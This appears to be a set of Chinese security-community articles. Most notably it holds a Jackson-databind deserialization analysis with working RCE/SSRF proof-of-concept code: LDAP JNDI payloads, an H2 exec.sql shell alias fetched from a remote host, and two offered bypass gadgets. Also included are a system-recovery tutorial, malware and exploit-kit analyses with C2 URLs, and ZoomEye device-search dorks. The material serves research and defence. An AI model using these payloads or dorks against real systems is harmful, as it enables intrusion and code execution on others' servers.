本篇文章将对CVE-2020-36189(Jackson-databind SSRF&RCE)漏洞和CVE-2020-36186(jackson-databind RCE)漏洞进行浅析，同时将在文末给出两则新的Gadget ！！！
### CVE-2020-36186
#### 影响范围
Jackson-databind < 2.9.10.7
#### 利用条件
* 开启enableDefaultTyping()
* 使用了commons-dbcp第三方依赖库
#### 漏洞概述
org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource类绕过了之前jackson-databind维护的黑名单类，并且JDK版本较低的话，可造成RCE。
#### 漏洞复现
pom.xml如下：
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.7</version>
</dependency>
<!-- https://mvnrepository.com/artifact/tomcat/naming-factory-dbcp -->
<dependency>
<groupId>tomcat</groupId>
<artifactId>naming-factory-dbcp</artifactId>
<version>5.5.23</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
#### 漏洞利用
这里使用LDAP的利用方式进行漏洞的利用演示，RMI的方式也是类似的，且RMI比LDAP要对JDK版本有很大的局限性~
LDAP利用方式：jdk版本：JDK 11.0.1、8u191、7u201、6u211之前，笔者这里采用JDK 1.8.0_181
**Step 1：编译Exploit.java**
Exploit.java代码如下：
import java.lang.Runtime;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译Exploit.java文件：
**Step 2：搭建HTTP服务**
使用Python搭建简易SimpleHTTPServer服务：
python -m SimpleHTTPServer 4444
**Step 3：搭建LDAP服务**
使用marshalsec来启动一个LDAP服务：
**Step 4：执行漏洞POC**
Poc.java代码如下所示：
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
public class POC {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
String json = "[\"org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource\", {\"dataSourceName\":\"ldap://127.0.0.1:1288/Exploit\"}]";
Object obj = mapper.readValue(json, Object.class);
mapper.writeValueAsString(obj);
}
}
之后运行该程序，成功执行命令：
#### 漏洞分析
PerUserPoolDataSource类继承自InstanceKeyDataSource:
InstanceKeyDataSource类中存在一处JNDI注入：
testCPDS在PerUserPoolDataSource类的registerPool中被调用：
registerPool在getPooledConnectionAndInfo中被调用：
所以可以构造以下Gadget：
PerUserPoolDataSource
->InstanceKeyDataSource.setDataSourceName
->PerUserPoolDataSource.getPooledConnectionAndInfo
->PerUserPoolDataSource.registerPool
->PerUserPoolDataSource.testCPDS
->lookup
#### 补丁分析
官方对于此漏洞的修复方案是将org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource加入黑名单中，但是这种修复方案只能一时间缓解，因为难免会出现其他黑名单绕过方案：
<https://github.com/FasterXML/jackson-databind/commit/3e8fa3beea49ea62109df9e643c9cb678dabdde1>
可以看到的是这里还有另一个类——"org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource",该类的利用方法与上述方法类似，不再赘述
#### 安全建议
* 及时将jackson-databind升级到安全版本(>=2.9.10.7)
* 升级到较高版本的JDK
### CVE-2020-36189
#### 影响范围
Jackson-databind < 2.9.10.7
#### 利用条件
* 开启enableDefaultTyping()
* 使用了com.h2database\com.newrelic.agent.java第三方依赖库
#### 漏洞概述
com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类绕过了之前jackson-databind维护的黑名单类，并且JDK版本较低的话，可造成SSRF&RCE。
#### 漏洞复现
pom.xml
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.7</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.newrelic.agent.java/newrelic-agent -->
<dependency>
<groupId>com.newrelic.agent.java</groupId>
<artifactId>newrelic-agent</artifactId>
<version>4.9.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.199</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
**Step 1:构造exec.sql**
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('calc.exe')
**Step 2:简易web服务**
python2 -m simpleHTTPServer 4444
**Step 3：执行漏洞POC1(SSRF)**
poc.java代码如下所示：
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
public class POC {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://6vrdsp.dnslog.cn/exec.sql'\"}]";
Object obj = mapper.readValue(json, Object.class);
mapper.writeValueAsString(obj);
}
}
dnslog平台结果：
**Step 4：执行漏洞POC2(RCE)**
Poc.java代码如下所示：
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
public class POC {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:4444/exec.sql'\"}]";
Object obj = mapper.readValue(json, Object.class);
mapper.writeValueAsString(obj);
}
}
之后运行该程序，成功执行命令
#### 漏洞分析
com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类中提供了对url的set方法，可以通过反序列化进行赋值操作，同时在getConnection中通过DriverManager.getConnection()进行远程连接，参数url可控，从而可导致SSRF，当classpath中存在h2数据库时甚至可以导致RCE:
Gadget如下：
DriverManagerConnectionSource
->seturl
->getConnection
->DirverManager.getConnection(this.url)
#### 补丁分析
官方将com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource加入黑名单中，但是这种修复方案只能一时间缓解，因为难免会出现其他黑名单绕过方案：
### New Gadget
这里免费送出两个新的Gadget，有兴趣的可以试一下：
第一个：
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
public class POC2 {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
String json = "[\"shaded.com.github.susom.database.shaded.com.zaxxer.hikari.HikariDataSource\", {\"metricRegistry\": \"ldap://127.0.0.1:1288/Exploit\"}]";
mapper.readValue(json, Object.class);
}
}
第二个：
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
public class POC2 {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
String json = "[\"shaded.com.github.susom.database.shaded.com.zaxxer.hikari.HikariConfig\", {\"metricRegistry\": \"ldap://127.0.0.1:1288/Exploit\"}]";
mapper.readValue(json, Object.class);
}
}
### 官方新规
2020年12月30号，Jackson-databind官方表明由于之前对于黑名单更新的补丁过于频繁而且有大量的绕过是的版本的更新迭代过于频繁，加上申请CVE的流程使得整个维护变得更加繁琐，所以决定从2020年12月31号发布最后一个2.9.10.8版本之后将不再对此黑名单进行维护(除非有极其严重的问题发生)，同时也不再给相关白帽子申请相关CVE编号，但是会继续接受有关Jackson-databind的黑名单类相关安全报告，更多细节可以参考以下连接：
<https://github.com/FasterXML/jackson/wiki/Jackson-Polymorphic-Deserialization-CVE-Criteria>
### 文末小结
上文中的两则漏洞作为一个抛砖引玉的作用可以引出更多的gadget，有兴趣的朋友可以翻翻jackson-databind的issue页面，会发现更多的精彩内容，同时欢迎大家一起来讨论研究Jackson-databind 2.10.x版本之后的最新Gadget~
### 参考链接
<https://github.com/FasterXML/jackson-databind/issues/2997>
<https://github.com/FasterXML/jackson-databind/commit/3e8fa3beea49ea62109df9e643c9cb678dabdde1>
<https://github.com/FasterXML/jackson-databind/issues/2996>
<https://github.com/FasterXML/jackson-databind/commit/33d96c13fe18a2dad01b19ce195548c9acea9da4> | 社区文章 |
@悬镜安全实验室
### 前言
对于运维工作者来说，可能最让人担心的，是服务器宕机；
最让人无助的，是被DDOS；
而最让人心惊肉跳的，是rm -rf *这个命令……
当你执行rm -rf命令时，万一哪个变量没赋值
听说过被删空服务器么？
mysql数据库不是在运行吗?
linux能删除正在执行的文件?反正是彻底删除了……
那一夜，你没有拒绝我……
那一夜，我心儿破碎……
我们平时工作中，rm -rf *这个命令给每个使用linux系统的工程师带来了深深的恐惧。
你以为今天我们是来哭诉服务器被清空之后有多惨的嘛？
不！
山重水复疑无路，误删文件能恢复！
今天就给大家分享一个在误删/etc目录后，救命止损的数据恢复教程。
### 一、紧急措施
1.如果你是远程登录服务器的，首先要保持连接不被断开。不操作时用vim保持连接状态。
此时虚拟控制终端和ssh连接已经不能建立新连接了。
如下图已经不能登录。
2.拷贝相同版本服务器/etc目录到目标服务器(版本与配置越相近，接下来的工作量会越小，可以使用`rz`,
`wget`等其他方式把配置拷贝到服务器。`scp`等需要验证账户信息已经不能使用)拷贝完成后，可以通过`ssh`连接，检测是否可以正常连接至服务器（此时使用的账户密码应该是同版本服务器的账户密码）
如出现下图所示，连接失败，可能是selinux导致，临时关闭`selinux setenforce 0`
此时已经可以正常通过ssh连接至服务器，切换至root账户如下
3.修改selinux配置为关闭状态。`/etc/selinux/config`修改为开机不启动
### 二、系统恢复
#### 1.检查fstab文件
查看配置文件信息如下:
通过`blkid`查看设备上所采用文件系统类型，以及挂载设备。
注：对比两图可以发现，信息差别很大， 因为我这两台服务器安装时分区方式不一样。
/dev/mapper/centos-root | / | ext4 | defaults | 1 | 1
---|---|---|---|---|---
设备名 | 挂载目录 | 文件系统 | 挂载参数 | 备份信息 | 启动顺序
系统显示没挂载`home`分区，所以删除需要把配置文件中挂载在`home`下的那行删除。以及修改设备名与`UUID`，以及TYPE修改`/etc/fstab`配置文件，如下
配置修改无误的话，重启是可以正常启动
如下图所示，已经可以正常启动(不过此时千万别重启，因为应用配置数据还没恢复)
#### 2.修改网卡信息
如果拷贝的网络配置是动态获取IP，并且网卡名称相同，对访问网络还没影响，那么这一步可以跳过，网卡这部分可以放到最后来做，因为你删除配置后，网络暂时还是可以使用的。
这里我拷贝的是静态分配的IP地址，所以需要做一些修改。
下图是可以看到我的网卡名称是`ens33`
而我的配置中没此网卡配置，相对应的应该是`ifcfg-eth0`。
备份一份，然后重命名为`ifcfg-ens33 cp ifcfg-eth0 ifcfg-eth0.bak && mv ifcfg-eth0
ifcfg-ens33`
重启可能远程断开连接（不同环境重启网络方式可能不太相同，这里是centos7）
看下配置信息
下边是部分解释，可以参考下
TYPE=Ethernet | 网卡类型
---|---
DEVICE=eth0 | 网卡接口名称
ONBOOT=yes | 系统启动时是否自动加载
BOOTPROTO=static | \--static:静态协议 --bootp协议 --dhcp协议
IPADDR=192.168.1.11 | 网卡IP地址
NETMASK=255.255.255.0 | 网卡网络地址
GATEWAY=192.168.1.1 | 网卡网关地址
DNS1=114.114.114.114 | 网卡DNS地址
HWADDR=01:02:03:04:05:06 | 网卡设备MAC地址
BROADCAST=192.168.1.255 | 网卡广播地址
修改为如下配置(动态分配)
静态分配
配置以上任意一种方式
动态分配的IP，相对简单一些，如果网关不支持dhcp，或者环境需要是静态的，那么也可以采用静态的。配置静态IP需要注意，网关如果设置错误，那么可能不能访问网络的哦。
### 三、应用配置恢复
#### a) Redis 配置数据恢复
i. Redis账户数据恢复首先确定系统中是否还有redis用户。（如果拷贝过来的系统也安装了redis，那么肯定是会有redis账户）
如果发现有redis用户，以下步骤可以跳过。
如没有redis账户，需添加redis账户，不然重启redis可能失败。添加redis账户信息。（仅供参考，centos7环境成功）
echo “redis:x:996:994:Redis Database Server:/var/lib/
redis:/sbin/nologin” >> /etc/passwd
echo “redis:!!:17416::::::” >> /etc/shadow
echo “redis:x:994:” >> /etc/group
echo “redis:!::” >> /etc/gshadow
ii. Redis配置文件恢复
Redis的配置文件恢复相对简单一些，官方提供了`CONFIG REWRITE`命令重写`redis.conf`配置文件。
如果执行命令过程中出现如下提示，不用担心是因为权限的问题。
首先创建`redis.conf`文件
>touch /etc/redis.conf
然后修改文件属性
>chown redis:redis /etc/redis.conf
参考官方介绍:<https://redis.io/commands/config-rewrite>
#### b)mysql配置文件恢复(maraidb)
**i.mysql账户数据恢复**
1.首先确定系统中是否还有mysql用户。
如果发现有mysqld用户，以下步骤可以跳过。
2.如没有mysql账户，需添加mysql账户，不然重启mysql可能失败。添加mysql账户信息。（仅供参考，centos7环境成功）
echo “mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin” >> /etc/passwd
echo “mysql:!!:17415::::::” >> /etc/shadow
echo “mysql:x:27:” >> /etc/group
echo “mysql:!::” >> /etc/gshadow
**ii.mysql配置文件恢复**
1.进程信息获取mysql配置信息
如下
basedir = /usr
datadir = /var/lib/mysql
plugin-dir = /usr/lib64/mysql/plugin
log-error = /var/log/mariadb/mariadb.log
open-files-limit =65535
pid-file = /var/run/mariadb/mariadb.pid
socket = /var/lib/mysql/mysql.sock
2.mysql参数信息
上图mysqld进程ID
>pid=25499
获取进程映射地址
cat /proc/$pid/maps | awk ‘$6 !~ “^/” {split
($1,addrs,”-“); print “dump memory mem_” addrs[1] ”
0x” addrs[1] ” 0x” addrs[2] ;}END{print “quit”}’ > gdb-commands
dump地址中数据
gdb -p $pid -x gdb-commands
上边工作做完看下生成的文件如下
查找mysql参数信息
比如 `grep datadir ./mem_*`会显示所有包含`datadir`字符串二进制文件。
>vim ./mem_7f18284af000
查找`datadir`如下，跟进程信息获取参数有部分重复。
datadir = /var/lib/mysql
socket = /var/lib/mysql/mysql.sock
symbolic-links = 0
max_connections = 1000
openfileslimit = 65535
vim ./mem_7ffef7a7c000
查找datadir如下,此块内存跟ps看到的信息差不多，可以不用记录。
3.创建mysql配置文件
根据以上两种方式获取到配置信息如下
basedir = /usr
datadir = /var/lib/mysql
plugin-dir = /usr/lib64/mysql/plugin
log-error = /var/log/mariadb/mariadb.log
open-files-limit =65535
pid-file = /var/run/mariadb/mariadb.pid
socket = /var/lib/mysql/mysql.sock
symbolic-links = 0
max_connections = 1000
获取mysql默认配置文件路径位置
mysql –verbose –help | grep -A 1 ‘Default options’ | grep /
以上是mysql查找配置文件顺序，通常用的是`/etc/my.cnf`
创建配置文件`touch /etc/my.cnf`，或者拷贝版本差别不大的配置文件。
修改为如下所示
重启mysql，测试下业务是否正常。 | 社区文章 |
# CVE-2016-0034漏洞信息与利用工具
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://malware.dontneedcoffee.com/2016/02/cve-2016-0034.html>
译文仅供参考，具体内容表达以及含义原文为准。
[**CVE-2016-0034**](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0034) **（**[
**MS16-006**](https://technet.microsoft.com/en-us/library/security/MS16-006)
**）是一个存在于Silverlight中的内存崩溃漏洞，**[
**在卡巴斯基公司的安全研究人员发现了这一漏洞之后**](https://securelist.com/blog/research/73255/the-mysterious-case-of-cve-2016-0034-the-hunt-for-a-microsoft-silverlight-0-day/)
**，微软公司便在2016年1月份发布了相应的漏洞修复补丁来修复这一问题。在Hacking Team的数据泄漏事件发生之后我们发现，该漏洞其实最早是由**[
**Vitaliy Toropov**](https://twitter.com/VitaliyToropov)
**所发现的，他在发现了这一漏洞之后便将该漏洞的技术信息出售给了Hacking Team。**
**Angler EK：**
研究人员在2016年2月18日发现，Angler
EK对Silverlight的相关代码进行了修改，并将代码进行了整合重组，下图所显示的是研究人员对整合的代码段进行了解码之后所得到的信息：
如果目标计算机中安装有Silverlight，那么系统将会产生一个新的调用请求。Angler
EK在对silverlight的调用请求进行响应时，其响应信息的Body内容为空，具体信息如下图所示：
我对我所能找到的所有实例进行了测试，并且在任何情况下，都会发生如上图所示的情形。
在过了一个星期左右的时间之后，研究人员于2016年2月22日发现，Angler
EK对这类调用请求的响应信息不再为空了。在“EITest”重定向之后，Angler EK能够利用Silverlight
5.1.41105.0来向目标系统注入Teslacrypt（一款臭名昭著的勒索软件）。具体信息如下图所示：
此后，我还对Silverlight 5.1.41212.0进行了分析检测，但我认为该版本的Silverlight暂时是安全的。
在得到了上述的分析结果之后，我也从多名安全分析专家那里得到了关于这一漏洞（CVE-2016-0034）的详细信息，在此我还要特别感谢卡巴斯基公司的[Anton
Ivanov](https://twitter.com/antonivanovm)。
Xap文件: 01ce22f87227f869b7978dc5fe625e16
Dll : 22a9f342eb367ea9b00508adb738d858
相关payload : 6a01421a9bd82f02051ce6a4ea4e2edc (Teslacrypt) | 社区文章 |
# 暗崟虫：潜藏多年的软件后门分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近期，360核心安全团队接到用户举报多款流氓软件，包括屏幕亮度调节器、超级老板键等软件采取同一手法植入恶意代码并通过各大下载站传播，在用户电脑上偷偷执行远程代码，严重影响用户的信息安全。
以下是该系列软件在下载站上的发布列表，最早可追溯到2013年，涉及各类辅助软件。
下面我们以“屏幕亮度调节器”这款软件为例，分析该系列软件的运作流程。
## 样本分析
运行软件“屏幕亮度调节.exe”，表面上显示正常功能界面。而实际上，作者毫不掩饰，直接在窗口创建时展开行为。
首先加载恶意模块“ScreenFlash.dll”，并调用其导出函数“StartScreenFlashWork”来设置全局消息钩子。这一操作会使得“ScreenFlash.dll”被系统注入到每一个窗口进程中，而该模块则会在初始化加载的时候直接运行Shellcode，从而增加Shellcode的运行机会。除此之外，软件本身也创建了恶意线程来运行相同的Shellcode。
Shellcode分多段运行，ShellcCode1的主要功能是检测加密的ShellCode2是否已经存在，不存在则会联网获取加密的ShellCode2执行。首先通过TEB获取kernel32.dll的模块基址，进而解析kernel32的导出表获取GetProcAddress的地址，然后批量获取自身所需的其他API地址。
接着打开注册表项“SOFTWARE\ScreenBright”，并查询键值HeadData。该注册表项是用来判断是否已经下载了ShellCode2，若是查询失败，则意味着还未下载，样本将进入下载流程；反之，则进入读取文件、解密执行的流程，如下图所示：
联网下载的ShellCode都是采用同一套模式，先访问加密配置后获得资源下载地址和解密key，再下载资源进行解密执行，如本例软件下载ShellCode2是先访问“http://www.baidu-home.com/screen/checkupdate.txt”后解密得到资源下载地址“http://www.2k2u.com/screen/screenjump.dat”和解密key“0x004271e4”，继而下载该资源并通过密钥解密出下一段ShellCode执行。
ShellCode2的功能其实和ShellCode1差不多，主要是负责再次更新下载新的ShellCode3来执行。ShellCode3则由一段LoadPE代码和一个头部信息被摧毁的恶意dll模块组成，其功能主要是加载该模块运行。
准备完所需API后，ShellCode3首先申请一段内存来拷贝恶意dll模块，从下图可见其PE头部信息被大量抹除，只保留导入表、重定位表等必要的定位信息，但是数据目录原导出表位置存放了OEP以及OEP所指向的4字节内容（用于校验）。
LoadPE代码根据导入表重构IAT表、修复重定位，再简单校验OEP处4字节代码之后就开始从OEP执行恶意dll模块代码了。
程序首次运行会写注册表项SOFTWARE\\\Classes\\\CLSID\\\\{2B53F0A7-3238-4b4d-8582-E53618739C90}\LockData，此时并不展开行为。
当程序再次运行并且发现LockData中的日期和当前日期不同时，便展开行为。
过程中还有一些进行环境检测，检测虚拟机、常用分析工具
检测环境通过之后首先获取当前浏览器进程名称，并根据不同的浏览器展开相应的改主页操作，支持浏览器包括360安全浏览器、360极速浏览器、qq浏览器、搜狗浏览器等主流浏览器。
## 感染分布
以下是此类软件在全国各地区的传播占比统计，可以看出软件主要分布在沿海各省份，其中广东为重灾区。
## 查杀与总结
这一系列软件主要是通过在常用软件工具中安插恶意代码的方式进行伪装，虽然目前只是在用户电脑中通过诱导或强制的方式来修改浏览器首页，但是软件作者可以随时替换服务器上的shellcode来达到控制用户电脑的目的，其风险性不言而喻。
目前360已针对此类样本全面查杀，为用户电脑保驾护航，同时也提醒广大用户安装软件时使用正规的下载渠道，避免上当受骗。
审核人：yiwang 编辑：边边 | 社区文章 |
**作者：T1tan**
**本文首发于ZoomEye，原文链接：<https://mp.weixin.qq.com/s/uEcSVpCT4xWEEwPoJuvABg>**
### 1\. 什么是ZoomEye dork
ZoomEye
dork是ZoomEye资产测绘平台的查询语法加上特定关键词组成的语句，用来搜索挖掘ZoomEye平台数据进行消费，ZoomEye官网：<https://www.zoomeye.org/>
。
### 2\. ZoomEye dork使用场景
通过ZoomEye dork挖掘的数据可以使用在攻击与防守场景里面。
#### 2.1 攻击视角
开源情报OSINT
攻防演练HVV（红队Red Team）
漏洞预警到ZoomEye dork（统计和排查数据)攻击者获取情报
提交漏洞到SRC
等...
#### 2.2 防御视角
暗资产排查（未统计和排查到的资产）
攻防演练HVV（蓝队Blue Team）
漏洞预警到ZoomEye dork（统计和排查数据)防御者获取情报
C&C（命令与控制服务器）排查如cobalt strike后渗透工具
等...
### 3\. 一些场景下的ZoomEye dork语句
特定场景下的一些专题：<https://www.zoomeye.org/topics>,下面提供一些ZoomEye dork语句。
#### 3.1 摄像头
摄像头（CAMERA或WEBCAM）又称为电脑相机、电脑眼、电子眼等，是一种视频输入设备，被广泛的运用于视频会议、远程医疗及实时监控等方面。
[**app:"Cisco WVC54GCA webcam
rtspd"**](https://www.zoomeye.org/searchResult?q=app%3A "Cisco WVC54GCA webcam
rtspd")
Cisco WVC54GCA是一款无线网络摄像头，支持增强的 MPEG-4 和 MPEG 压缩，包括Cisco-Linksys等系列产品。
[**app:"Bosch DINION IP Bullet 5000 webcam http
admin"**](https://www.zoomeye.org/searchResult?q=app: "Bosch DINION IP Bullet
5000 webcam http admin")
博世是德国的工业企业之一，主要从事汽车、智能交通技术、工业技术、消费品和能源及建筑技术产业。
[**app:"Polycom ViewStation"**](https://www.zoomeye.org/searchResult?q=app:
"Polycom ViewStation")
宝利通主要致力于提供端到端语音、视频、数据和 Web 富媒体协作应用。应用范围从台式机和个人移动系统到会议室系统，再到网络中心。
[**app:"Linksys WVC54GC webcam
UPnP"**](https://www.zoomeye.org/searchResult?q=app%3A "Linksys WVC54GC webcam
UPnP")
Linksys WVC54GC webcam可在物体发生动态变化时会把截图发送到客户的邮箱里，拥有内置的网络服务器，不需要电脑即可工作。
[**app:"Samsung SNB-2000
webcamrtspd"**](https://www.zoomeye.org/searchResult?q=app%3A "Samsung
SNB-2000 webcam rtspd")
Samsung SNB-2000 webcam是一款枪式网络摄像机，支持日夜转换功能，网络兼容性十分丰富，拥有600线的水平清晰度。
#### 3.2 区块链
区块链是一个信息技术领域的术语。从本质上讲，它是一个共享数据库，存储于其中的数据或信息，具有“不可伪造”“全程留痕”“可以追溯”“公开透明”“集体维护”等特征。基于这些特征，区块链技术奠定了坚实的“信任”基础，创造了可靠的“合作”机制，具有广阔的运用前景。
[**app:"Bitcoin protocol"**](https://www.zoomeye.org/searchResult?q=app%3A
"Bitcoin protocol")
Bitcoin（比特币）网络节点，启动比特币客户端默认开启，每笔交易由发起方向周围的节点进行广播，节点收到之后再广播给自己周围的节点，分布式的节点会负责实时更新数据，广播和验证交易。
[**app:"XMR-Stak miner"**](https://www.zoomeye.org/searchResult?q=app%3A "XMR-Stak miner")
XMR-Stak 是一款开源的通用矿池系统，支持CPU和GPU来挖加密货币，且占用空间小，由最初的xmr-stak-cpu、xmr-stak-amd和xmr-stak-nvidia三款集成而来，支持64位的Windows、Linux和MacOS系统。
[**app:"Baikal Miner"**](https://www.zoomeye.org/searchResult?q=app%3A "Baikal
Miner")
Baikal Miner 是由Baikal团队开发的mini X11算法挖矿矿机，只需要4个芯片即可达到150MH/s，具有高算力低功耗的特点。
[**app:"Claymore Miner
ManagementPage"**](https://www.zoomeye.org/searchResult?q=app%3A "Claymore
Miner Management Page")
Claymore
Miner是一款专门用于以太坊的矿机,支持CPU和GPU进行挖矿，由于其特别的双挖模式而被矿工们大范围的使用，在支持N卡和A卡的同时,也能在Windows和Linux上流畅使用。
[**app:"antMiner"**](https://www.zoomeye.org/searchResult?q=app%3A "antMiner")
AntMiner
（蚂蚁矿机）系列矿机是由比特大陆发布的专门用于挖矿的设备，是全球市占率第一的加密货币挖矿机品牌，后来业务拓展至其他加密货币，如以太坊、达世币、莱特币、门罗币等等。
#### 3.3 WAF
Web应用防护系统（也称为：网站应用级入侵防御系统。英文：Web Application
Firewall，简称：WAF）。利用国际上公认的一种说法：Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
[**app:"Fortinet FortiGuard Web FilteringService waf
httpd"**](https://www.zoomeye.org/searchResult?q=app%3A "Fortinet FortiGuard
Web Filtering Service waf httpd")
包含FortiGuard企业级系列防火墙，吞吐量最大可以达到1Gbps，具有高可用性，多个安全区等功能，是功能强大，多合一的网络安全解决方案。
[**app:"DCN WAF httpd"**](https://www.zoomeye.org/searchResult?q=app%3A "DCN
WAF httpd")
DNF WAF包括DCFW系列产品，使用业界领先的细粒度多核防护引擎，能够实时识别和防护多种针对WEB的应用层攻击。
[**app:"Safe3 WAF httpd"**](https://www.zoomeye.org/searchResult?q=app%3A
"Safe3 WAF httpd")
Safe3WAF是国内安全组织保护伞网络基于新一代Web安全技术开发的全方位企业Web信息安全产品，目前使用Safe3WAF网站用户有搜狐、国防科技大学招生网等
[**app:"YUNDUN WAF httpd"**](https://www.zoomeye.org/searchResult?q=app%3A
"YUNDUN WAF httpd")
YUNDUN WAF是基于大数据和AI技术打造的业务级Web应用防火墙，实时拦截各种漏洞，保护Web应用免遭网络、应用、业务等各种已知和未知威胁。
[**app:"YXLink WAF httpd"**](https://www.zoomeye.org/searchResult?q=app%3A
"YXLink WAF httpd")
YXLink
WAF能实现Web应用加速与防止敏感信息泄露的功能，检测引擎支持百万级别的并发连接、十万级别的每秒HTTP/HTTPS请求数，为Web应用提供较为全面的防护解决方案。
#### 3.4 打印机
打印机（Printer)
是计算机的输出设备之一，用于将计算机处理结果打印在相关介质上。衡量打印机好坏的指标有三项：打印分辨率，打印速度和噪声。打印机的种类很多，按打印元件对纸是否有击打动作，分击打式打印机与非击打式打印机。按打印字符结构，分全形字打印机和点阵字符打印机。按一行字在纸上形成的方式，分串式打印机与行式打印机。按所采用的技术，分柱形、球形、喷墨式、热敏式、激光式、静电式、磁式、发光二极管式等打印机。
[**app:"Brother MFC-7360N
pop3d"**](https://www.zoomeye.org/searchResult?q=app%3A "Brother MFC-7360N
pop3d")
包含Brother MFC-7360N、Brother MFC-820CW等多种型号。具有印刷字迹清晰，反应快，使用性好，操作方便等特点。
[**app:"Star Micronics TSP828L
printerftpd"**](https://www.zoomeye.org/searchResult?q=app%3A "Star Micronics
TSP828L printer ftpd")
包含Star Micronics TSP828L、Star Micronics TSP143、Star Micronics TSP700等型号。
[**app:"Intermec 540+/542+ print
servertelnetd"**](https://www.zoomeye.org/searchResult?q=app%3A "Intermec
540%2B%2F542%2Bprint server telnetd")
包含Intermec 540+、Intermec 542+等型号。
[**app:"Avery-Dennison Monarch 7411 printserver
ftpd"**](https://www.zoomeye.org/searchResult?q=app%3A "Avery-Dennison Monarch
7411 print server ftpd")
包含Avery-Dennison Monarch 7411等型号
[**app:"Toshiba e-STUDIO 233copier/printer/fax http
config"**](https://www.zoomeye.org/searchResult?q=app%3A "Toshiba e-STUDIO 233
copier%2Fprinter%2Ffax http config")
包含Toshiba e-STUDIO 233、Toshiba e-STUDIO5500c等多种型号。具有墨点小,速度快,精度高等特点。
#### 3.5 网络存储
网络存储（Network Storage）是数据存储的一种方式，网络存储结构大致分为三种：直连式存储（DAS：Direct Attached
Storage）、网络附加存储（NAS：Network Attached Storage）和存储区域网（SAN：Storage Area
Network）。由于NAS对于普通消费者而言较为熟悉，所以一般网络存储都指NAS。
[**app:"WISEGIGA Smart
CloudStorage"**](https://www.zoomeye.org/searchResult?q=app%3A "WISEGIGA Smart
Cloud Storage")
包括WISEGIGA Smart Cloud Storage、UB-100系列、UB-400系列等。
[**app:"ZexaBox storage-misc
httpd"**](https://www.zoomeye.org/searchResult?q=app%3A "ZexaBox storage-misc
httpd")
ZexaBox个人云存储小工具可实现即插即用，加密存储等功能。
[**app:"TerraMaster NAS storage-mischttpd"**](https://www.zoomeye.org/searchResult?q=app%3A "TerraMaster NAS
storage-misc httpd")
针对客户不同需求，Terra
Master推出了不同系列存储产品，如双硬盘、四硬盘、八硬盘的DAS直连式存储系统，以及双盘位，四盘位和八盘位等NAS网络存储系统。
[**app:"EMC Celerra NAS device
smbd"**](https://www.zoomeye.org/searchResult?q=app%3A "EMC Celerra NAS device
smbd")
